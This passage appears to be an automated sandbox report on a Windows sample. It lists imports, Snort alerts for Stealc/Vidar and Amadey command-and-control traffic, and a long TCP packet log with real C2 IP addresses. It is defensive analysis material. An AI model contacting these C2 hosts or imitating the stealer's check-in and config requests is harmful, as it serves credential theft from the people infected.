.data	0x9cf000	0x228000	0x227c00	12bb39a763f4e65215c53e04854c6c42	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
msvcrt.dll	strncpy

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/26/24-08:16:15.183787	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49713	80	192.168.2.6	85.28.47.4
06/26/24-08:16:41.353588	TCP	2856147	ETPRO TROJAN Amadey CnC Activity M3	49730	80	192.168.2.6	147.45.47.155
06/26/24-08:16:15.361668	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49713	85.28.47.4	192.168.2.6
06/26/24-08:16:42.247244	TCP	2856122	ETPRO TROJAN Amadey CnC Response M1	80	49730	147.45.47.155	192.168.2.6
06/26/24-08:16:15.003996	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49713	80	192.168.2.6	85.28.47.4
06/26/24-08:16:14.349868	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49713	80	192.168.2.6	85.28.47.4
06/26/24-08:16:46.077225	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49733	80	192.168.2.6	85.28.47.4
06/26/24-08:16:15.181493	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49713	85.28.47.4	192.168.2.6

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 26, 2024 08:16:14.343533993 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:14.348764896 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:14.348871946 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:14.349868059 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:14.355385065 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:15.001533985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:15.001621008 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:15.003995895 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:15.008804083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:15.181493044 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:15.181514978 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:15.181562901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:15.181598902 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:15.183787107 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:15.188643932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:15.361668110 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:15.361712933 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:15.361741066 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:15.361745119 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:15.361757040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:15.361773968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:15.361784935 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:15.361784935 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:15.361787081 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:15.361819029 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:15.361819983 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:15.361836910 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:15.363924980 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:15.368768930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:15.544883013 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:15.544940948 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:15.591351032 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:15.591351032 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:15.596292019 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:15.596309900 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:15.596323967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:15.596365929 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:15.596378088 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:15.596400023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:15.596462011 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:16.408271074 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:16.409820080 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.010987043 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.015842915 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.188303947 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.188323021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.188338041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.188352108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.188368082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.188389063 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.188436985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.188577890 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.188613892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.188626051 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.188628912 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.188661098 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.188662052 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.188678026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.188704014 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.188704014 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.188738108 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.189306021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.189321041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.189336061 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.189347029 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.189383030 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.270656109 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.270684958 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.270701885 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.270716906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.270734072 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.270754099 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.270754099 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.270827055 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.270843029 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.270890951 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.271034956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.271193027 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.275763035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.275778055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.275793076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.275825024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.275836945 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.275839090 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.275865078 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.275871992 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.275895119 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.275916100 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.276200056 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.276246071 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.276252985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.276312113 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.276560068 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.276591063 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.276606083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.276626110 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.276626110 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.276650906 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.276760101 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.276807070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.276820898 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.276823044 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.276839972 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.276863098 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.276864052 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.276885986 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.277374983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.277396917 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.277411938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.277426958 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.277443886 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.277446032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.277483940 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.277580023 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.356214046 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.356247902 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.356271029 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.356277943 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.356287956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.356313944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.356329918 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.356331110 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.356348991 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.356388092 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.356408119 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.358861923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.358901978 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.358908892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.358917952 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.358958006 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.358973026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.358989000 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.359003067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.359025002 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.359034061 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.359074116 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.359074116 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.359095097 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.359294891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.359368086 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.359369993 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.359383106 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.359400034 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.359407902 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.359441996 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.359441996 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.363300085 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.363327026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.363349915 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.363364935 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.363373995 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.363380909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.363394976 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.363394976 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.363409042 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.363430023 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.363472939 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.363504887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.363519907 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.363548040 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.363548040 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.363570929 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.363601923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.363645077 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.363950968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.363995075 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.364010096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.364021063 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.364054918 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.364054918 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.364079952 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.364104986 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.364120007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.364132881 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.364161968 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.364161968 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.364543915 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.364607096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.364609003 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.364613056 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.364617109 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.364710093 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.364926100 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.364976883 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.365030050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.365045071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.365080118 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.365080118 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.365103006 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.365118980 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.365140915 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.365150928 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.365159035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.365190983 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.365299940 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.365859985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.365900040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.365916967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.365923882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.366067886 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.437200069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.437216043 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.437231064 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.437246084 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.437261105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.437293053 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.437370062 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.443898916 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.443934917 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.443948984 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.443988085 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.444008112 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.444041967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.444056988 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.444072962 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.444087982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.444108963 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.444113016 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.444154978 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.444154978 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.444192886 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.446614981 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.446635962 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.446669102 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.446682930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.446693897 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.446693897 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.446698904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.446712017 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.446716070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.446736097 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.446753979 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.446764946 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.446764946 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.446768999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.446784973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.446799040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.446816921 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.446816921 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.446830988 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.446847916 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.446866989 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.446892023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.446906090 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.446933985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.446933985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.446945906 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.450845957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.450906992 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.450944901 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.450958967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.450973034 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.450988054 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.450994015 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.451013088 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.451025963 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.451035023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.451049089 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.451050997 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.451064110 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.451081991 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.451082945 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.451081991 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.451112032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.451124907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.451126099 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.451141119 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.451142073 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.451158047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.451170921 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.451172113 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.451174021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.451191902 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.451221943 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.451221943 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.451816082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.451847076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.451862097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.451884031 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.451884031 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.451905012 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.452047110 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.452061892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.452075958 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.452107906 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.452107906 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.452130079 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.452141047 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.452163935 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.452179909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.452195883 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.452203989 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.452203989 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.452212095 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.452217102 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.452227116 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.452254057 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.452254057 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.452316046 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.452660084 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.452706099 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.452721119 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.452730894 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.452760935 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.452760935 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.452766895 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.452784061 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.452797890 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.452828884 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.452828884 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.452852011 CEST	49713	80	192.168.2.6	85.28.47.4
